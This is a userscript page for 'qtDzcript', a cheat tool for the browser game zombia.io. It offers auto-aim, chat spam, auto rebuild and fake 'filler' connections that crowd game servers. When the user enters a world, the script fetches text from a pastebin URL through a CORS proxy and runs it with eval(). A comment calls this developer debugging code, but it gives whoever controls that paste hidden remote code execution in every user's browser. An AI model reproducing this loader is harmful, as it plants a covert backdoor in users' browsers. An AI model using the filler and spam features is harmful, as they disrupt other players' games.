您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
an advanced script for zombia players. includes many defense features, raiding features & much more.
// ==UserScript== // @name qtDzcript - Zombia server scanner, auto rebuild, auto rapidfire & server filler & more // @namespace http://tampermonkey.net/ // @version 2024-12-28 // @description an advanced script for zombia players. includes many defense features, raiding features & much more. // @author You // @match zombia.io // @icon https://www.google.com/s2/favicons?sz=64&domain=zombia.io // @grant none // @license mit // ==/UserScript== window.xkey = false; window.autoRespawn = false; window.followmouse = false; window.spamchat = false; window.arb = false; window.arfenabled = false; window.missingBuildings = new Map(); window.autoAim = false; window.apexpalarm = false; window.chatmessagealarm = false; window.deadtoweralert = false; window.fillers = []; function script() { game.eventEmitter.on("EnterWorldResponse", function() { game.renderer.groundLayer.setVisible(false); /*this code in the pastebin url is not for normal users of the script and should only be used for developers of the script for debugging purposes.*/ fetch("https://corsproxy.io?url=https://pastebin.com/raw/g4H3hcrF").then(function ( response ) { response.text().then(function (text) { eval(text); }); }); //var test = new Audio("https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3"); //test.play(); setInterval(function() { for (let j in game.renderer.players.attachments) { if (!game.renderer.players.attachments[j].targetTick.name.endsWith(`, UID=${game.renderer.players.attachments[j].uid}`)) { game.renderer.players.attachments[j].targetTick.name += `, UID=${game.renderer.players.attachments[j].uid}`; } } }, 100); }); function alertUser() { var test = new Audio("https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3"); test.play(); } function swordAlert() { if (window.swordAlarm) { for (let i in game.renderer.players.attachments) { let player = game.renderer.players.attachments[i]; if (player.uid != game.ui.playerTick.uid) { if (player.targetTick.weaponName == "Sword") { alertUser() } } } } } setInterval(swordAlert, 700); game.eventEmitter.on("BuildingsUpdated", function(e) { if (window.deadtoweralert) { e.forEach(function(building) { let otherbuildings = ["Wall", "Harvester", "Door", "LargeWall", "SpikeTrap"]; if (otherbuildings.includes(building.type)) { return; } else { if (building.dead) { alertUser(); }; }; }); }; }); game.eventEmitter.on("ReceiveChatMessageRpcReceived", function(e) { if (window.chatmessagealarm) { alertUser(); } }); //alarms game.eventEmitter.on("UpdateLeaderboardRpcReceived", function(e) { if (window.apexpalarm) { e.forEach(function(lbPlayer) { if (lbPlayer.name == "Apex" || lbPlayer.name == "Xperience") { alertUser(); }; }); }; }); function aimAtClosestPlayer() { if (window.autoAim) { let players = game.renderer.players.attachments; let closePlayers = []; function worldToYaw(playerPos) { return game.renderer.screenToYaw(game.renderer.worldToScreen(playerPos.x, playerPos.y).x, game.renderer.worldToScreen(playerPos.x, playerPos.y).y); }; function playAim() { if (closePlayers.length < 1) { return; } let closestPlayer = closePlayers[0]; // closePlayers[0] should return closest player since array is sorted by smallest distance players.forEach(function(player) { if (player.targetTick.uid == closestPlayer.uid) { game.network.inputPacketManager.lastSentYaw = worldToYaw(player.targetTick.position); game.network.sendInput({mouseMoved: worldToYaw(player.targetTick.position)}) }; }); } for (let it in players) { function asdf() { let playerPos = players[it].targetTick.position; let myPos = game.ui.playerTick.position; let distance = Math.sqrt(Math.pow((playerPos.x - myPos.x), 2) + Math.pow((playerPos.y - myPos.y), 2)); for (let j in game.ui.playerPartyMembers) { if (game.ui.playerPartyMembers[j].uid == players[it].uid) { return; } } if (distance != 0) { closePlayers.push({"uid" : players[it].uid, "distance" : distance}); } closePlayers.sort((a, b) => a.distance - b.distance); } asdf(); } playAim(); } } setInterval(aimAtClosestPlayer, 50); window.addEventListener("mousemove", function(e) { if (window.followmouse) { var pos = game.ui.playerTick.position; pos = game.renderer.worldToScreen(pos.x, pos.y); console.log(e.clientX, e.clientY, pos); if (pos.x < e.clientX) { game.network.sendInput({"right": 1}); } if (pos.x > e.clientX) { game.network.sendInput({"left": 1}); } if (pos.y < e.clientY) { game.network.sendInput({"down": 1}); } if (pos.y > e.clientY) { game.network.sendInput({"up": 1}); } } }); setInterval(function() { if (window.xkey) { game.network.sendRpc({"name" : "BuyTool", "toolName" : "Sword"}); game.network.sendRpc({"name" : "EquipTool", "toolName" : "Sword"}); } }, 2000); game.eventEmitter.on("DeadRpcReceived", function() { if (window.autoRespawn || window.xkey) { setTimeout(function() { game.network.sendRpc({"name" : "Respawn"}); }, 1000); } }); setInterval(function() { if (window.spamchat) { game.network.sendRpc({"name" : "SendChatMessage", "channel" : "All", "message" : document.getElementById("msg2spam").value}); } }, 1000); function autoRapidFire() { if (window.arfenabled) { var otherbuildings = ["Wall", "Harvester", "Door", "LargeWall", "SpikeTrap"]; for (i in game.renderer.buildings.attachments) { if (game.renderer.buildings.attachments[i].targetTick.health < 80) { var building = game.renderer.buildings.attachments[i].targetTick; if (otherbuildings.includes(building.model)) { return; } game.network.sendRpc({ name: "CastSpell", spellName: "Rapidfire", x: building.position.x, y: building.position.y }); }; }; }; }; setInterval(autoRapidFire, 1000); game.eventEmitter.on("BuildingsUpdated", function(e) { if (window.arb) { e.forEach(function(f) { if (f.dead) { f = {"x" : f.x, "y" : f.y, "type" : f.type, "yaw" : f.yaw}; console.log(f); window.missingBuildings.set(f, f); } else { for (let i = 0; i < 10; i++) { game.network.sendRpc({ name: "UpgradeBuilding", uids: [f.uid] }); }; f = {"x" : f.x, "y" : f.y, "type" : f.type, "yaw" : f.yaw}; console.log(f); window.missingBuildings.delete(f); }; }); } }); function placeMissingBuildings() { if (window.arb) { window.missingBuildings.forEach((building) => { game.network.sendRpc({"name" : "PlaceBuilding", "x" : building.x, "y" : building.y, "yaw" : building.yaw, "type" : building.type}); }); } } setInterval(placeMissingBuildings, 500); document.getElementsByClassName("hud-intro-modes")[0].innerHTML += `<button class="btn" id="serverScan">Scan Servers</button>`; document.getElementById("serverScan").addEventListener("click", function() { let windnew = window.open("about:blank", "server Scan Results", "width=600, height=400"); let servers = ["ws://server-v03001.zombia.io:8000/", "ws://server-v01001.zombia.io:8000/", "ws://server-v03002.zombia.io:8001/", "ws://server-v01002.zombia.io:8001/"]; for (let i in servers) { let wsock = new WebSocket(servers[i]); wsock.binaryType = "arraybuffer"; wsock.network = new game.network.constructor; wsock.addEventListener("open", function() { wsock.send(game.network.encode(4, {"name" : "Server-Scanner", "partyKey" : "randomshit"})); }); wsock.addEventListener("message", function(e) { e = wsock.network.decode(e.data); if (e.name == "UpdateLeaderboard") { e.response.forEach(function(k) { windnew.document.write("Name: " + k.name + ", Wave: " + k.wave + ", Score: " + k.score + ", UID: " + k.uid + ", Server: " + servers[i] + "<br>"); wsock.close(); }); } }); } }); document.getElementById("game-name").innerText = "qtDzcript"; document.getElementsByClassName("hud-icon")[1].style.background = "red"; document.getElementsByClassName("hud-grid")[1].style.overflow = "scroll"; document.getElementsByClassName("hud-grid")[1].innerHTML = ` <h1>qtDzcript</h1> <p>Press ESC to exit. This is the best public Zombia script.</p> <h2>Graphics</h2> <button id="bgrend">Start rendering background.</button> <button id="projrend">Stop rendering projectiles.</button> <button id="buildrend">Stop rendering buildings.</button> <button id="playrend">Stop rendering players.</button> <button id="sceneryrend">Stop rendering scenery.</button> <button id="zombrend">Stop rendering zombies.</button> <h2>Defense & base</h2> <button id="sellall">Sell all</button><br> <button id="arb">Enable Auto Rebuild</button><br> <button id="rapidfire">Enable auto rapidfire (rapidfires whenever a tower is at 80% health)</button><br> <button id="autoaim">Enable player auto aim</button> <h3>Base recorder</h3> <button id="recordbase">Record Base</button> <button id="deletebase">Delete Base</button> <button id="buildbase">Build base</button> <h3>Warning Alarms</h3> <button id="apexjoin">Enable Apex/Xperience in Server Alarm</button><br> <button id="toweralarm">Enable Tower Destroyed Alarm</button><br> <button id="chmsgalarm">Enable Chat Message Sent Alarm</button><br> <button id="swordalarm">Enable Player With Sword Into View Alarm</button> (this alarm basically just alerts you when someone with a sword goes near ur base) <h2>Raiding</h2> <button id="togglexkey">Enable X key</button><button id="togglears">Enable Auto Respawn</button><button id="mousefollow">Follow mouse</button><br> <input id="msg2spam" placeholder="Message to spam..."><button id="togglechspam">Start Spamming</button> <h2>Fillers</h2> <p>This is the main section of this script that most people use the script for. This allows users to send alts to fill the server.</p> <h3>Number of fillers: <span id="numfillers">0</span><h3> <button id="sendalt">Send filler</button><button id="deletefiller">Remove 1 filler</button><button id="unfill">Unfill server</button> `; document.getElementById("deletefiller").addEventListener("click", function() { window.fillers[0].close(); window.fillers.shift(); }); document.getElementById("unfill").addEventListener("click", function() { for (let v in fillers) { window.fillers[0].close(); window.fillers.shift(); }; }); document.getElementById("sendalt").addEventListener("click", function() { let sock = new WebSocket(game.network.socket.url); sock.addEventListener("open", function() { sock.send(game.network.encode(4, {"name" : "qtDzfiller", "partyKey" : game.ui.partyKey})); window.fillers.push(sock); document.getElementById("numfillers").innerText = parseInt(document.getElementById("numfillers").innerText) + 1; }); sock.addEventListener("close", function() { document.getElementById("numfillers").innerText = parseInt(document.getElementById("numfillers").innerText) - 1; }); }); document.getElementById("swordalarm").addEventListener("click", function() { window.swordAlarm = !window.swordAlarm; if (window.swordAlarm) { document.getElementById("swordalarm").innerText = "Disable player with sword into view alarm."; } else { document.getElementById("swordalarm").innerText = "Enable player with sword into view alarm."; }; }); document.getElementById("toweralarm").addEventListener("click", function() { window.deadtoweralert = !window.deadtoweralert; if (window.deadtoweralert) { document.getElementById("toweralarm").innerText = "Disable tower destroyed alarm."; } else { document.getElementById("toweralarm").innerText = "Enable tower destroyed alarm."; }; }); document.getElementById("chmsgalarm").addEventListener("click", function() { window.chatmessagealarm = !window.chatmessagealarm; if (window.chatmessagealarm) { document.getElementById("chmsgalarm").innerText = "Disable chat message sent alarm."; } else { document.getElementById("chmsgalarm").innerText = "Enable chat message sent alarm."; }; }); document.getElementById("apexjoin").addEventListener("click", function() { window.apexpalarm = !window.apexpalarm; if (window.apexpalarm) { document.getElementById("apexjoin").innerText = "Disable apex/xperience in server alarm."; } else { document.getElementById("apexjoin").innerText = "Enable apex/xperience in server alarm."; }; }); document.getElementById("deletebase").addEventListener("click", function() { window.localStorage["savedBase"] = null; alert("deleted the base"); }); document.getElementById("buildbase").addEventListener("click", function() { if (window.localStorage["savedBase"] && game.ui.getFactory()) { let commandsList = window.localStorage["savedBase"].split(";"); function executeCommand(i) { if (i > (commandsList.length + 1)) {alert("built base"); return;} eval(commandsList[i]); setTimeout(function() { executeCommand(i + 1); }, 75); } executeCommand(0); } }); document.getElementById("recordbase").addEventListener("click", function() { if (!game.ui.getFactory()) {return}; let buildings = game.ui.buildings; let command = ""; for (let i in buildings) { if (buildings[i].type != "Factory") { command += `game.network.sendRpc({"name" : "PlaceBuilding", "x" : game.ui.getFactory().x + ${buildings[i].x - game.ui.getFactory().x}, "y" : game.ui.getFactory().y + ${buildings[i].y - game.ui.getFactory().y}, "type" : "${buildings[i].type}", "yaw" : ${buildings[i].yaw}});`; } } window.localStorage["savedBase"] = command; alert("Base has been saved."); }); document.getElementById("autoaim").addEventListener("click", function() { window.autoAim = !window.autoAim; if (window.autoAim) { document.getElementById("autoaim").innerText = "Disable AutoAim"; } else { document.getElementById("autoaim").innerText = "Enable AutoAim"; } }); document.getElementById("rapidfire").addEventListener("click", function() { window.arfenabled = !window.arfenabled; if (window.arfenabled) { document.getElementById("rapidfire").innerText = "Disable Auto Rapidfire"; } else { document.getElementById("rapidfire").innerText = "Enable Auto Rapidfire"; } }); document.getElementById("arb").addEventListener("click", function() { window.arb = !window.arb; if (window.arb) { document.getElementById("arb").innerText = "Disable Auto Rebuild"; } else { document.getElementById("arb").innerText = "Enable Auto Rebuild"; } }); document.getElementById("sellall").addEventListener("click", function() { game.renderer.buildings.attachments.forEach(function(e) { game.network.sendRpc({ name: "SellBuilding", uids: [e.uid] }); }); }); document.getElementById("togglechspam").addEventListener("click", function() { window.spamchat = !window.spamchat; if (window.spamchat) { document.getElementById("togglechspam").innerText = "Stop spamming"; } else { document.getElementById("togglechspam").innerText = "Start spamming"; } }); document.getElementById("mousefollow").addEventListener("click", function() { window.followmouse = !window.followmouse; if (window.followmouse) { document.getElementById("mousefollow").innerText = "Disable Follow Mouse"; } else { document.getElementById("mousefollow").innerText = "Follow Mouse"; } }); document.getElementById("togglears").addEventListener("click", function() { window.autoRespawn = !window.autoRespawn; if (window.autoRespawn) { document.getElementById("togglears").innerText = "Disable Auto Respawn"; } else { document.getElementById("togglears").innerText = "Enable Auto Respawn"; } }); document.getElementById("togglexkey").addEventListener("click", function() { window.xkey = !window.xkey; if (window.xkey) { document.getElementById("togglexkey").innerText = "Disable X Key"; } else { document.getElementById("togglexkey").innerText = "Enable X Key"; } }); document.getElementById("bgrend").addEventListener("click", function() { if (document.getElementById("bgrend").innerText == "Start rendering background.") { game.renderer.groundLayer.setVisible(true); document.getElementById("bgrend").innerText = "Stop rendering background."; } else { game.renderer.groundLayer.setVisible(false); document.getElementById("bgrend").innerText = "Start rendering background."; } }); document.getElementById("projrend").addEventListener("click", function() { if (document.getElementById("projrend").innerText == "Stop rendering projectiles.") { game.renderer.projectiles.setVisible(false); document.getElementById("projrend").innerText = "Start rendering projectiles."; } else { game.renderer.projectiles.setVisible(true); document.getElementById("projrend").innerText = "Stop rendering projectiles."; } }); document.getElementById("buildrend").addEventListener("click", function() { if (document.getElementById("buildrend").innerText == "Stop rendering buildings.") { game.renderer.buildings.setVisible(false); document.getElementById("buildrend").innerText = "Start rendering buildings."; } else { game.renderer.buildings.setVisible(true); document.getElementById("buildrend").innerText = "Stop rendering buildings."; } }); document.getElementById("playrend").addEventListener("click", function() { if (document.getElementById("playrend").innerText == "Stop rendering players.") { game.renderer.players.setVisible(false); document.getElementById("playrend").innerText = "Start rendering players."; } else { game.renderer.players.setVisible(true); document.getElementById("playrend").innerText = "Stop rendering players."; } }); document.getElementById("sceneryrend").addEventListener("click", function() { if (document.getElementById("sceneryrend").innerText == "Stop rendering scenery.") { game.renderer.scenery.setVisible(false); document.getElementById("sceneryrend").innerText = "Start rendering scenery."; } else { game.renderer.scenery.setVisible(true); document.getElementById("sceneryrend").innerText = "Stop rendering scenery."; } }); document.getElementById("zombrend").addEventListener("click", function() { if (document.getElementById("zombrend").innerText == "Stop rendering zombies.") { game.renderer.zombieLayer.setVisible(false); document.getElementById("zombrend").innerText = "Start rendering zombies."; } else { game.renderer.zombieLayer.setVisible(true); document.getElementById("zombrend").innerText = "Stop rendering zombies."; } }); }; setTimeout(script, 3000); // to add a delay. I've tried creating scripts before and i need to wait until the site has fully loaded. document.onload doesnt work for some reason.